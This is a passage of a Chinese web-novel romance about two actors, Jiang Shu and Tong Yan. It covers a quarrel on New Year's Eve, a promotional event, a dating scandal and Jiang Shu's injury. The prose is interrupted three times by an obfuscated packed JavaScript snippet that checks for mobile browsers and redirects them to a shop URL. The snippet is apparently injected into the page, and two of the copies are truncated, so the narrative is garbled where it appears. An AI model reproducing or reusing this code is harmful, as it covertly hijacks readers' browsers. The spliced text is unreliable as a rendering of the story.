让李正惊奇的是，江述如此寡淡的人，看上去也不像是会为名利心动的，怎么会踏进娱乐圈，还一熬就是这么些年。 当时签江述的时候，李正是看了他的那档户外探险综艺，莫名觉得他身上有种主角气质，于是很快约了他面聊，当时的他，就和现在一模一样的状态。 不温不火的小艺人，偏偏不卑不亢，很沉稳。 聊了两个小时下来，只知道他在从小生活在旧金山，大学学的金融专业，父不详、母丧。因为大学兼修了戏剧艺术专业，意外被教授推荐去演一个自闭症青年，后来回国拍戏，也是因为教授推荐，直接进了《宦海》的剧组，还是戏份不轻的男二号。 谁知拍完一年两年没下文，就这样，演员也随着角色一起，泥牛入海了。 很干净的履历，却又总觉得，哪里有种矛盾感。 就像江述这个人一样，看上去干净简单，却总感觉皮相下隐藏着讳莫如深的东西。 “你一个理科生，怎么会去学戏剧艺术？” 李正这会儿难得清闲，坐在窗边的沙发上，一边回复微信消息，一边随口闲聊，也算是满足自己的一点好奇心。 江述说：“感兴趣。” “那你成绩一定很好，不然教授怎么会给你推荐角色。” 江述不置可否。 李正瞟他一眼：“事实证明，你们教授确实有眼光，《宦海》的成绩逆袭成这样，你也算对他有交代了。话说回来，你在国外待了那么多年，为什么会回来呢？” 李正不过随口一问，江述却慢慢睁开了眼。 久远的往事在这一刻，穿越了数年光阴，隔着山海和国界，猛然向他袭来。 深秋的午后，妈妈骨瘦如柴地躺在医院病床上，拨通了一个号码，铃声响了很久停下。如此两遍过后，听筒里传来无法接通的机械女声。 可妈妈不放弃，她用沙哑细弱的嗓音跟他说，把手机拿来。然后用他的手机拨了过去，这次终于通了。 “喂，我是江思菱。” 对面静了片刻，挂了电话。 继续打，手机收到一条短信：“别再打来了。”接下来，就无法接通了。 那一刻，妈妈脸上是凄惶的神色，再也没了平日里张扬或狂躁的生命力，像是已经死了。死在生命结束前的那天。 整理妈妈遗物时，他对电话那头的人，生出了几分兴趣。 牵涉陈年往事，江述不想多聊，只道：“想看看中国，还有这里的人。” 李正毫不意外这个回答。 看吧，深接触过会发现，江述就是这么干净简单的一个人。 “下一个行程是哪？”江述问。 李正无语：“你是不是跑傻了，下一个行程是过春节啊，大哥！” 江述愣了一下，抿唇笑了笑。 “工作狂也不是这样的。”李正起身，拿起沙发上的外套，边穿边说，“你这年，打算怎么过，要不要去我家吃饭？” “不了。谢谢。” * 除夕夜，江述一个人待在北京的房子里。 房子在东三环的丽景花园小区，12层，一套大三居。 晚上十一点，同行之间拜年问候毕，他坐在客厅沙发上，身前茶几上摆着两个菜，一盘速冻水饺，还有几瓶冰啤酒。 屋里杳无人声，落地窗外是万家灯火，天空偶尔爆开几朵烟花，无声却绚丽。 江述开了一罐酒，正要喝，门铃突然响了。 他疑惑地打开门，却见门外站着童颜。 “Surprise!” 她手里举着一个礼花筒，一见面就冲着他爆了一身彩纸：“新年快乐呀江述！” 江述意外得都忘了请她进来。 童颜才不管他什么表情，直接将人扒拉到一旁，嘴里哼着小曲，自己走进去，在玄关处换鞋。 自在的好像是回自己家。 江述回过神，关上门问：“你怎么来了？” 童颜是从春晚现场回来的。 江述知道她今年首次受邀参加了春晚，只是不清楚，她演出完怎么会来找他。 童颜显然没懂他的意思，理所当然回：“我的节目是九点半的，表演完又在后台待了一会儿，没啥事我就走了，我不想自己过年嘛，想着你也一个人，就过来了呀！” “你……”他想说，没跟魏子铭约着跨年吗，话到嘴边滚了一遭，又改了说辞，“怎么没回姨妈家？” “昨天回去吃过饭，拜过年了，大除夕的，不打扰他们一家人团圆了。” 说话的功夫，童颜去卫生间洗过了手，自己从厨房拿了碗筷，盘腿坐到了沙发和茶几中间的垫子上。 “你倒不见外。”江述眼中含笑，说出口的话却无情，“没做你的饭。” 童颜傲娇地朝厨房扬了扬下巴：“没做赶紧去做呀！” 江述无奈地摇了摇头，又去厨房煮了份饺子。 回到桌上，他那盘饺子已经少了一半，啤酒也空了一罐，瓶子被捏扁，倒在茶几上。 江述坐回沙发，两人就那么安静地吃饭，偶尔碰个杯，一句话也不交流，各吃各的。 童颜风卷残云般吞下一盘饺子，喝空两罐啤酒，放下筷子，摸着肚子感叹：“好满足啊！” 江述也放下筷子，问：“怎么不开心？” 童颜若无其事地扫他一眼，又去开啤酒罐：“谁说我不开心，很开心啊！我人生第一次上春晚了耶！你上过吗？知道春晚舞台什么样吗？哼哼……” “童颜，别装了。” 她正跟拉环较劲的手僵了下，泄气地松开，叠起双臂放在膝盖上，背靠沙发，沉默了很久才开口。 “我不想要男朋友了。” 江述的视线落在她身上。 红色亮片旗袍衬得她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464633|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肤色胜雪，精致的中式盘发上停着几片彩纸，分明是增添喜庆的东西，落在她发间却显得，有几分狼狈和落寞。 他伸手摘掉彩纸，问：“为什么？” “你知道吗？我们在一起快五个月，除了合作拍戏那会儿，一共见过……三回面。还要算上今天在春晚后台这次。”她自嘲地笑了笑，“但他看上去，好像跟我不熟。” 江述看不见她的神情，却从声音里听出了委屈，这让他忍不住捏了捏手。 “人多眼杂，怕被发现吧。” “可是，要到什么时候，人才会少一点呢？我什么时候，可以正大光明地抱他呢？其实我知道，他也很无奈，很不容易。他对我，已经很好了。知道我喜欢吃什么、喜欢玩什么，担心我在片场被人欺负，担心我睡不够觉，容忍我的脾气，还会托人偷偷送小礼物给我，我感觉，他真的有把我放在心上，但是……他好像对别人也很好，我可能只是特别一点，他并没有我想象的，那么爱我。” “为什么会有这种感觉？” “我也不知道。可能是今晚看到他对孙艺涵笑着说话，我吃醋了吧。”童颜沉默着打开啤酒罐，喝了一口，“我本来想等他一起跨年的，表演完，在后台磨蹭了会儿，然后收到了他的短信，让我先回家。因为他的节目要到凌晨嘛，结束后还要赶回去陪家人吃饭。我就觉得，有点难过。是我太小气了吗？” 她说着仰起头，眼圈泛红。 江述忍了又忍，终于还是伸出手，抚摸着她的眼角说：“不是你的错。” 泪水瞬间涌出眼眶，她抽了抽鼻子，埋头趴在他膝上，无声地哭了起来。 江述缓缓抚摸着她的头发，一言不发地陪着她，心脏也随着一声一声的抽泣而酸涩不已。 “童颜……别难过了。”他听见自己说。 不过片刻，她情绪过去了，坐直身体，抽了张餐巾纸擦眼擤鼻涕，然后转头看他，有点不好意思，却装出一副凶巴巴地模样，说：“不许笑话我。” 他牵了牵嘴角，下巴冲自己的膝盖抬了抬。 灰色睡裤膝盖上，一大片水迹，全是她的眼泪鼻涕。 “给我把衣服洗了。” “洗你个头！” “你也就跟我这么横吧。” 这句话不知哪里又戳到了童颜，她鼓了鼓腮帮子，竟意外地没回嘴。 春晚还没结束，方才两人说话，江述调低了电视音量，现在童颜又调回了正常音量，一边喝酒，一边看节目。 “你少喝点，小心明天起来头疼。” 江述说着去夺她手里的酒，被她端着躲过去了。 “你少管我，小心明天变成老头。” 歌舞节目演完，接下来是个小品，孙艺涵演的。 童颜默不作声地看，中间也忍不住笑两声。小品结束，她却“哼”了一声：“什么东西！难看死了。” 十一点五十分时，魏子铭出来了。 他是歌唱节目，和另外两个男明星一起。 童颜一边听，一边跟着哼唱，江述坐在她身后，靠着沙发靠背，一口接一口的喝酒，视线落在她身上。 这个节目结束，童颜重又变得沉默。 江述见不得她这个颓丧模样，放下酒杯问：“你刚才的话，有没有和魏子铭说过？” 她摇了摇头。 “为什么？既有这么多委屈，为什么不让他知道？” 童颜闷闷说：“工作忙，也不是他能控制的，都是同行，我理解。他跟孙艺涵之间，没事，我应该相信他。其实，我们微信聊天还是很好的，就算是网恋吧，我认了。” 江述皱眉：“真正相信一个人，不是无论他做了什么，你都毫不怀疑，那叫愚信。而是无论你有什么感受和想法，都可以开诚布公地告诉他，相信他可以理解你的情绪，一起解决你们的问题。” “他已经那么忙了，我哪儿好意思，老拿这些小情绪烦他。” 听见她这话，江述瞬间被莫名而强烈的情绪点燃，不经大脑的话脱口而出。 “所以你是说，我闲的没事干，你可以随时拿这些小情绪来烦我？” 他很少如此刻薄，话音落，连自己都惊了，可惜已经收不回来了。 11. 分道 童颜转过头，一脸错愕地盯着他，似乎想说什么，嘴巴动了动，却没说出来，只是眼中浮起一丝受伤的神色。 “我不是那个意思。”江述懊恼地解释。 童颜从地上站了起来，看上去是要走的架势。 江述一把拉住她，说：“童颜，我是想告诉你，你的男朋友本该是你最亲近的人，你可以毫无顾忌地，把心里话说给他听，而不是像现在这样，一个人难过。他以前是你的偶像，现在不是了，但你似乎，还没从偶像和粉丝的身份里转变过来，只是一味地崇拜他、支持他，即便他和别人传绯闻，也说服自己相信他，这样是不对的，你明白吗？” 童颜站得笔直，目光看向落地窗的方向，声音有些哽咽。 “我和他怎么相处，就不劳你费心了。对不起，我不该拿这些事来烦你，以后不会了。” 说完一把捞起沙发上的背包，转身就走。 这一刻，江述有种无比强烈的直觉：他将永远失去她，连以朋友的身份相处也不能。 以前他总是想，谁想跟你当朋友。 可直到即将失去她的这一刻，才慌得无法自持，他绝不想和童颜成为陌路人，哪怕一辈子充当她情绪的垃圾桶，做她该死的“好朋友”，甘心成为一个不知何时才能派上用场的……备胎。 “童颜……”他的声音有一丝颤抖，抓着她的手不肯放开，“你不要误会。我怎么会嫌你烦。我只是担心你，怕你委屈自己，在爱情里越来越卑微，最后变得不像自己。” 他们站在沙发和茶几中间，眼前是杯盘狼藉、酒瓶满地，偌大的客厅里只有电视机的声音，几个主持人在倒数跨年，窗外突然爆起盛大的烟火，这一刻，全世界都在欢天喜地辞旧迎新，江述却听到了有生以来最残忍的话。 “我怎么样，也不劳你费心了。” 童颜抽走手臂，背上包离开了。 江述无力地站在原地，一句话也说不出来。 关门声响起。 他望着玄关的方向出神良久。 * 江述再见到童颜，是在暮春时节。 《玉京第一春》定档播出，开始进入宣传期，片方组织了线下见面会，剧组主创悉数到场。 从去年八月到今年四月，九个月的时间里，很多变化在不知不觉中悄然发生。 譬如曾经以为会永远相伴的好朋友分道扬镳。 再譬如，一部《宦海》，让江述从寂寂无名到爆火出圈，成为炙手可热的新晋流量小生，此次的线下见面会，台下热情有一半是被江述点燃的。 记者提问环节，有人问江述：“怎么看待洒江天和风潇潇之间的感情？” 他说：“对洒江天来说，风潇潇是他要毕生守护的人。她的仇恨也好，背负也好，甚至到后来，脱离轨道的疯狂也好，洒江天都理解。从始至终，他们是站在一起的人。在我看来，他们是可以交付后背的战友，也是可以倾诉心事的挚友，虽然洒江天没有表明心迹，但他们之间的感情，早已超越了爱情。” 记者追问：“很好奇，你本人对待爱情，也会是这种默默守护的类型吗？” 江述的目光从童颜脸上掠过。 童颜在他的视线投过来时，也回看了一眼，脸上带着公式化的笑，像熟悉的陌生人。 心间泛起一阵酸涩，江述垂下眼说：“我理解洒江天，但不希望成为他。” “看来，江述和洒江天的爱情观不太一样，”主持人闻言笑着说，“那这样，我们今天在现场，给洒江天一次机会，让他弥补剧里的遗憾，向风潇潇表明心意，好不好？” 台下响起热烈的掌声和起哄声。 “表白！表白！表白！” 主持人做了个安静的手势，说：“来吧，有请童颜和江述，走到舞台中间。” 二人依言照做，相向而立。 “洒江天会如何向风潇潇表白呢？”主持人满脸期待。 三个月不见，童颜瘦了很多，脸颊彻底褪去了婴儿肥，成了标准的瓜子脸，美得那么动人心魄。 久别重逢的思念与不可言说的爱意席卷而来，江述眼底情绪翻涌，借着角色的身份，放肆地看着她，沉默片刻，他轻声说：“最近开心吗？” 童颜瞬间红了眼，迅速眨巴两下，平复着情绪。 “我希望你一切顺利，但如果你感到失落、沮丧，或者疲惫，小鹿寨永远是你的避风港，无论何时，只要你回头，我一直在你身后。”他轻轻捧起她一侧脸，认真看着她的眼睛说，“你明白吗？” 这一刻，童颜知道是江述在说话。 他在借着洒江天的口，向她道歉。 其实……不用如此的。除夕夜的不快，这段时间她已经消化掉了。 作为多年好友，她当然知道江述是为她好，也能理解被倾诉者偶尔的烦躁，他身为旁观者，看到她在爱情里如此小心翼翼，可能还有点“怒其不争”的失望。 但正是这点失望，让她感觉到难堪——江述轻而易举戳破了真相，让她隐约感受到的东西，那么清晰地摆在了台面上。 她不怪江述，只是对自己不满意。 相伴这么久，她一点也没学到江述身上的淡然，总是喋喋不休地诉说自己的烦恼。 人生在世，谁没点烦恼呢？别的艺人都能好好处理情绪，只有她，像个上蹿下跳的小丑，一点事就压不住脾气，搅得别人不得安生——这样真的不酷。 当她冷静下来，再回想除夕夜，只觉得羞惭，还有对江述的抱歉。 作为朋友，没有人能比他更好了。是她缺乏边界感，像个幼稚的孩子一样，只顾单方面索取，给他造成了困扰。 她想跟江述道歉，却迟迟没有行动，只怕一开口，他们和好了，没过多久故态复萌，这不是她想看到的。 所以童颜想，她要试着做一个成熟的大人，像江述一样冷静跟理智，自己消化情绪，尽量不去打扰他。 她自认已经卓有成效，可是今晚，听到他这番话，还是忍不住情绪。 分明是她做的不够好，道歉的人却是他。 她不想轻易流露自己的脆弱，让这三个月的断联毫无意义，于是咬了咬牙，快速平复着情绪，用最得体的语气说：“我明白，师兄。谢谢你，你是我在这世间，最信任的人。” 江述牵了牵嘴角，眼中闪过极淡的一丝笑意。 观众席再次爆发掌声和欢呼声。 “潇洒CP二搭！” “演得太好了，江述你好棒！” “童颜我爱你！” 童颜笑着朝台下飞吻，引发一大片欢呼。 下午五点，见面会结束。 魏子铭、孙艺涵、童颜和江述四人又赶往另一个地点，接受主演专访。 一天的行程跑完，已经是晚上十点多了。 回家的车上，童颜瘫在沙发上刷微博，林慧心处理完手头的工作，坐过去说：“怎么样，《玉京第一春》热度这么高，证明咱们当时的选择没错吧？” “那又怎么样，”童颜不由撇嘴，“风头是人家男女主的。” 林慧心不认同：“谁说的。你看今天的见面会和采访，主持人和记者爱死‘潇洒cp’了，问题一个接一个，旁边孙艺涵的脸色，可不太好看。 “是吗？！”一说这个童颜来了兴趣，转念又泄了气，“哼，那也都是冲着江述去的。” 林慧心打了她一下：“能不能对自己有点信心！你看看专业剧评，几乎都在夸你，什么“光芒四射的女二号”，“明明可以靠颜值，偏偏要靠才华”，还有很多路人对你改观，说看预告片你被鲨那场戏，虐得泪崩，演技吊打同期小花。” “啊……那不都是我的粉丝在夸吗？还有一些，我以为是咱们投放的宣传。” 林慧心忍不住笑：“宣传只负责把亮点抛出来，如果经不起观众考验，强捧也是个扑。说到投放，一向以毒舌著称的那个KOL阿白有话说，咱们倒是想合作，brief给过去，人家说，不缺银子，不恰烂钱，要看剧作质量。结果首播6集一放出来，他不仅同意了录剧评，还不要合作费，因为不想拿人嘴短，见过这么横的乙方吗？他的视频一共20分钟，你的角色占10分钟，还有6分钟是江述。” “……我说的投放就是他，夸得我都不好意思了。”童颜震惊又开心，转念却道，“可是，他说子铭哥演得中规中矩欸！他明明也很好……” 林慧心一脸无奈：“他就用不着你操心了，再怎么说也是大男主，虽然热度被江述分走不少，但这么多年的积累在，一部剧而已，撼动不了他。” “嗯嗯嗯！”童颜认同地点头。 正说着话，手机弹出一条微信。 MING：「跟我妈在外面吃饭，她说想见见你，想来吗？」 童颜瞬间紧张起来，犹豫几秒回：「我去！发定位吧。」

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464634|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > MING：「别紧张，就是简单吃个便饭。」 不开美颜：「好的。」 童颜回复完就丢下手机，从包里掏出气垫和口红，一边快速补妆，一边跟林慧心说：“我要去个地方，你就近把我放下来吧，我打车过去。” “去哪？”林慧心狐疑地看着她，“是那位吧？” 童颜点头笑：“对。” 说到这，林慧心想起一件事：“今天有营销号放出你和一个男人的同框照，组里都在猜男方是谁，我怎么看着，隐约像是潘昀？” “什么同框照？我就见过他一回呀，就是杀青宴那晚，我在外面吹风，他过来说了几句话。” 林慧心把那条爆料翻出来，童颜接过去看了看。 确实是她和潘昀的照片，她是正脸，潘昀是背影，照片里，他的一条胳膊搭在她的椅背上，两人看上去姿态亲密。 童颜回想了下，应该是在加微信那会儿。 原帖是一个素人账号发的，说在饭店吃饭看见了童颜，评论区有人阴谋论，说圈里人都知道，童颜是某小开养的金丝雀，《公主请自重》这部剧就是为了捧她定制的云云。 “什么金丝雀，谁稀罕他包y啊！潘昀确实给我送过几天花，想约我，我推搪了几次，就没下文了。” “我了解了。你别贸然发声，跟潘昀之间把握好分寸，不喜欢也别惹他，毕竟，咱们都是给资本打工的人。” “知道了。” * 魏子铭发的定位是一个私人会所，工作人员把童颜引到二楼包厢。 包厢的装饰低调奢华，一张大圆桌摆在屋子正中，对门口的座位上，坐着一位衣饰不凡的女士，五十岁上下，发髻高挽，穿白色小香风外套，应该就是魏子铭的妈妈。 只有她一个人在。 童颜压下心里的无措，笑着打招呼：“阿姨好，我是童颜。” 魏母略一点头，指着魏子铭座位旁边的椅子，“坐。” 童颜走到座位上，从包里掏出提前准备好的礼物，说：“这是从国外代购的一款香薰，可以助眠的，送给您。” “谢谢。”魏母接过香薰，随手放在一旁，“子铭去卫生间了，不用拘谨，坐吧。” 童颜乖巧点头坐下。 魏母喝了口茶，问：“你是哪里人？” “我祖籍在浙江，不过小时候就来了北京，算半个北京人。” “父母在哪高就？” “我妈妈在我小时候去世了，爸爸……是做生意的，平时来往不太多。” 魏母点了点头，没说什么。 这时，魏子铭推门进来了，见到童颜，他眼中泛着笑意，打趣着说：“聊的好吗，二位女士？” 魏母站起身，对魏子铭说：“我还有事，要先走，你们玩儿吧。”童颜连忙也站起来，魏母看了她一眼，轻描淡写地说了句，“改天来家里玩。”然后拎上包包走了。 香薰还摆放在原处。 “我去送下我妈，你先待会儿。”魏子铭匆匆说了句。 童颜对着满桌子残羹冷炙枯坐着，感觉自己像个傻子。 看上去，魏母并不喜欢她。说不失望是假的，但她自认没有失礼之处，不知魏母为什么说了两句话就要走，也许真的有急事吧，童颜默默开解自己。 很快，魏子铭回来了。 他坐到童颜身边，握住她两手，轻声说：“是不是生气了？我妈平时就是那风格，不是故意怠慢，如果你觉得不舒服，我代她向你道歉。” 童颜勉强笑了笑，没有说话。 魏子铭将她拉到怀里，叹了口气：“颜颜，我们好容易见一面，别不开心了，嗯？” 童颜只得应一声“好”。 正在这时，外面忽然响起敲门声。 魏子铭去打开门，发现是孙艺涵。 孙艺涵欲推门进来，试了一下没推动，于是半真半假地探头往里看。 “什么情况？金屋藏娇，不敢让人知道？” 魏子铭笑了下，问：“找我有事？” “我刚看见伯母走了，不太高兴的样子，发生什么事了吗？” “没事。” 两人又简单聊了几句，孙艺涵就离开了。 从头到尾，魏子铭没有要让童颜露脸的意思。 童颜默不作声地待在包厢里，等魏子铭应付走孙艺涵，问：“今晚到底是个什么局？” 12. 要脸 魏子铭叹了口气，说：“一开始我跟我妈在这吃饭，孙艺涵给我妈打电话，代她爸咨询点法律上的事，就直接过来了。两家长辈有来往，但我跟孙艺涵没有其他关系。后来我提到你，我妈就说想见一见。” 所以她是不是可以理解成，两家关系亲近，魏母喜欢孙艺涵，魏子铭却说了自己有女朋友，于是魏母把她叫过来，要看看她这个正牌女友几斤几两？ 很好，很合理，她不该吃醋，不该乱想，魏子铭也没做错什么。 童颜低着头沉默片刻，说：“我不太喜欢孙艺涵，你以后，能不能少跟她私下来往？” 魏子铭似乎没想到童颜这么直白，愣了下才说：“现在是剧宣期，不可能完全不接触……” “我说的是私下！”童颜忍不住喊了一声。 魏子铭惊讶地住了嘴。 两人对视，童颜眼中火光四射，魏子铭微微皱眉，少顷叹了口气，将她拉到怀里。 “我知道了。不要生气了。今晚都是我的错，不该这么晚还把你喊过来，别生气了，嗯？” 童颜被他抱着，眼眶不由自主地泛红，静默片刻，挣开魏子铭说：“我先走了。” “我送你。” “不用。会被拍到。” 魏子铭没有理会这句话，跟着童颜走到会所大堂，再往前，就是大门口了。 外面人多眼杂，也许狗仔正躲在那个角落，等着抓他的隐私。但魏子铭脚步不停、面色沉毅，一副不管不顾的模样。 终归是童颜先认输。 她停住脚，对魏子铭说：“别出来了。” “颜颜，我不在乎。”魏子铭神色认真。 童颜扯了扯嘴角：“我在乎。” 两人僵持片刻，童颜说：“我不生气，就是有点累，你别跟我争了，让让我吧。” 魏子铭担忧地看着她，童颜勉强笑笑，转身走了。 第二天，关于魏子铭恋情的绯闻，再次上了热搜。而这次的绯闻女主角，是童颜。 狗仔拍的照片里，两人面对面站在会所大堂里，都没做任何遮掩。 《玉京第一春》男主和女二谈恋爱，瞬间成为舆论焦点。 很多剧粉吐槽，剧还没结束就拆cp的行为很下头，一些魏粉情绪激烈地表示要脱粉，还有不少骂童颜恬不知耻的。 从九点到十点半，魏子铭和童颜的团队都没发声。 童颜想发微博否认恋情，但被林慧心坚决拒绝了。 “如果你现在否认，咱先不说有没有人信，万一被扒出更锤的料，就是打自己的脸，你能保证没有任何蛛丝马迹被人抓住把柄？你先不要着急，我联系魏那边，一起解决这件事。” 魏子铭的经纪人俞凯正在上火。 热搜爆出快两个小时了，当事人坚持要冷处理，俞凯都急出家乡话了。 “你搞撒子欸！现在似撒子四候啊，粉丝都已经吵着要驼粉儿啊，你自己嘞四页要不要了嘞！”顿了顿，又说，“你以为不否认，就是为爱付出？现在这个混沌的状况，童颜也在被骂欸，你不顾自己也顾着她吧。而且你确定要曝光恋情？以后屁大点事都有人盯着，这样的恋爱，谈的就不累了？” 林慧心的电话就是这时候打来的。 俞凯嗯嗯啊啊地讲了两句，挂了电话，对魏子铭说：“童颜要发微博否认，被林慧心拦住了。看吧，你那位也不同意公开。” 魏子铭抹了把脸，疲惫地靠在椅子上。 这时，俞凯收到了孙艺涵的微信。 涵大可爱：「凯哥，需要我帮忙吗？」 * 下午一点，孙艺涵发了微博。 @孙艺涵：正常聚餐，我也在场好不好哇[白眼]！@魏子铭@童颜YY@江述玉京小分队相亲相爱，请勿过度解读。 配图是一张孙艺涵和魏子铭的餐桌合照。 看角度，是孙艺涵举着手机自拍，魏子铭在后面看镜头，他旁边还有一个人，只露出半边胳膊，衣服是魏母的。 接着，魏子铭和童颜团队都发了剧组生活照，引导大家多多关注剧情，莫被有心人带节奏。 吵吵嚷嚷一上午，终于慢慢开始降热度。 剧组酒店里，孙艺涵哼着歌躺在床上，刷着热搜，顺手回复几个微博评论。 有电话进来，她接通后说：“你的镜头不够好啊，拍的照片都不清晰……什么若隐若现的氛围感……算了算了，这是我们之间的秘密哦，你知道的，泄露了对你也没好处，我们合作愉快！” 那头又说了两句，孙艺涵“嗯”了一声：“金主那事，你再加把火，热闹起来呀……好，就这样。” 孙艺涵刚挂掉电话，助理新慧拎着一个袋子进来了。 “艺涵姐，买回来了。”边说边取出袋里的奶茶，插上吸管，递给孙艺涵，“三分糖，热的，你小心烫……” 话音刚落，孙艺涵一口奶茶吐了出来。 她一边朝嘴巴扇风，一边瞪新慧：“你想烫死我啊！” “我提醒了……”新慧委屈地辩解。 “知道烫，还不晾凉了再给我！还顶嘴！”说着抓起奶茶就朝新慧丢了过去。 新慧手忙脚乱地接起，热饮顺着吸管喷出来，溅了她一身。 如今已是初夏，新慧穿着短袖，胳膊裸露的皮肤瞬间红了一大片，她被烫的龇牙咧嘴，却不敢吭声。 这时，孙艺涵的经纪人周晓琴走了进来，见状将新慧拉到一旁，叹气说：“你拿她撒什么气？” 孙艺涵重新躺回床上刷手机，并未理会。 周晓琴示意新慧先出去，坐到床边说：“童颜的热度再高，也是女二。你是女主，高光在你身上，咱们不用太在意，下部剧继续加油就是了。她跟魏子铭传绯闻今天被骂惨了，你看，这不就是报应来了嘛！没有人能一直走顺字儿。不过话说回来，那俩不会真的在谈吧。” “不然你以为呢？”孙艺涵阴阳怪气地说。 周晓琴惊了一下：“那这狗仔还真挺有本事的，连魏子铭这么谨慎的人，都能抓到实锤。无论如何，今天你帮了魏子铭，他就欠咱们个人情，以后要还的。这件事你做的对。” 孙艺涵丢下手机，一脸无语地看周晓琴。 “琴姐，我有时候觉得……你挺单纯的。” “？”周晓琴莫名其妙，“什么意思？” 孙艺涵翻了个白眼：“没什么意思。” 周晓琴习惯了她这说话撅人的毛病，拽她胳膊起来：“收拾收拾，跟我去见一个人。” “什么人？” “你想不想演孟山涛的作品？”周晓琴神秘兮兮。 孙艺涵眼睛一亮：“孟山涛导演？电影？” “不错。咱们有机会了。万一成了，你以后就是电影咖，一个童颜算什么。” * 时已进五月，天渐渐热起来了，但泳池的水还凉得很。 童颜刚拍完一场落水戏，裹着毛巾坐在房车里，一边哆嗦，一边打喷嚏。 从乔乐那拿回手机，上微博刷了刷，绯闻热搜已经下去了，但孙艺涵的微博还在榜，童颜感觉跟吃了苍蝇一样。 魏子铭发来微信：「颜颜，在做什么？」 两小时前的。 童颜盯着这句话出了会儿神，退出了微信。正要放下手机，顶部又弹出一条推送： 「最新消息，演员江述在拍摄中受伤，已被紧急送医。」 童颜大惊，当即拨通了江述的电话。 手机响了很久没人接，她等不及，挂掉电话打微信语音，还是没人接，直接给李正发微信。 「正哥，你在江述旁边吗？听说他受伤了，什么情况，严重吗？我打不通他电话，麻烦方便的时候回我一下，多谢！」 过了几分钟，童颜又给林慧心打电话询问，可惜也没得到确切的消息。 一直到晚上八点，江述所在的剧组官方出了致歉声明，说是意外伤到了腰，已进行送医治疗，目前伤情稳定。 几乎差不多的时间，李正那边也回了微信。 正经人：「刚看到。江述伤了腰，已经处理过了，没什么大事，现在在家休息，放心哈。」 童颜松了口气，但还是有点不放心，想了想，给林慧心发微信。 不开美颜：「心姐，你能不能帮个忙，今天抽空去探望下江述。听说他现在已经回家了，我把地址发你。」 醉心：「你们不是闹别扭呢吗？你还关心他」 不开美颜：「所以这不是拜托你嘛！帮帮忙，看一眼我好放心。行吗？行吗？」

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464635|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 醉心：「行……姑奶奶。」 不开美颜：「你别说我让去的啊。他要是问起来，你就说我在外地拍戏，可能还没看到消息。」 醉心：「朋友做成你们这样，也是少见了。明明关心对方，还不让人知道。」 不开美颜：「吐舌头.jpg」 童颜倒是想亲眼确认江述的伤情，但她在外地拍戏也是真的。 再说，自从上次除夕闹了不愉快，这几个月来，两人微信上一直没说过话，她突然出现，难免尴尬。 女明星多少还是要点脸的。 * 晚十点，丽景花园小区。 江述看见林慧心有点意外，一边从冰箱里拿水，一边请她在沙发上坐。 “快别忙。”林慧心笑着说，“我听说伤的是腰，你这么走来走去，不更严重了吗。那我这是来探病，还是给你添病？” 江述摇头笑笑，把水递给林慧心：“没事，伤得不重。” “谢谢。”林慧心瞧他额角还盖着块纱布，气色却不错，走动也如常，算是替童颜放了心，“就你一人在家？怎么不让助理照顾两天？” 江述坐在一侧沙发上，说：“我让晨星回去了。没什么大碍，能照顾自己。” “再怎么都是个伤，可不能大意。得，那你好好养着，我这来一趟看看，也就放心了，不打扰你歇着了。” 林慧心边说边起身要走。 江述挽留了一句，林慧心说家里还有点事，他也就不再多言。 送到玄关处，江述忽然问：“心姐，是童颜托你来的吗？” “嗐，童颜在外地拍戏呢，都不一定看到消息了。”林慧心笑着打哈哈，“怎么？我就不能仅代表个人来探望？我可天天都在想，把你从李正那抢过来呢。说真的，他要敢对你不好，姐这边的大门，随时为你敞开。” 说话间，忽听叮铃哐当一阵响，原来是靠在鞋架一侧的拐杖倒了。 江述下意识去捡拐杖，弯腰时忽然闷哼一声，霎时间脸色都变了。 林慧心大惊：“怎么了，疼得厉害吗？”边说边扶他慢慢直起身。 江述白着脸，吐出口气，缓了缓说：“没事，就是不方便弯腰。” “你这哪是没大碍啊，去医院吧，姐开车送你。” 林慧心捡起地上的拐，靠回墙边，再三劝江述去医院，他却坚称没事，躺一会儿就好了。 林慧心也无奈了，叹了口气说：“那行，回头有需要帮忙的，随时打姐电话吧。别送了，快去躺着。”说完就离开了。 江述揉了揉隐隐作痛的腰，靠在墙上，盯着那根孤零零的拐杖看了会儿，自嘲地笑了一下。 掏出手机登上微信，点开童颜的头像。 两人的聊天记录还停留1月28日。 已经过去三个多月了。 这三个月是怎么过来的，江述此刻回想，竟没有什么记忆是深刻的。 总之每天都在忙，跑各种各样的行程，休整的间隙，才会允许自己放肆地想她。 社交媒体上隔三差五会有她的消息。 代言物料、妆容穿搭、杂志拍摄、品牌活动、剧组拍摄路透……她也常常在微博分享生活日常，他只能透过这些信息猜测她在经历什么。 也想过给她打电话，发微信，但说什么呢？ 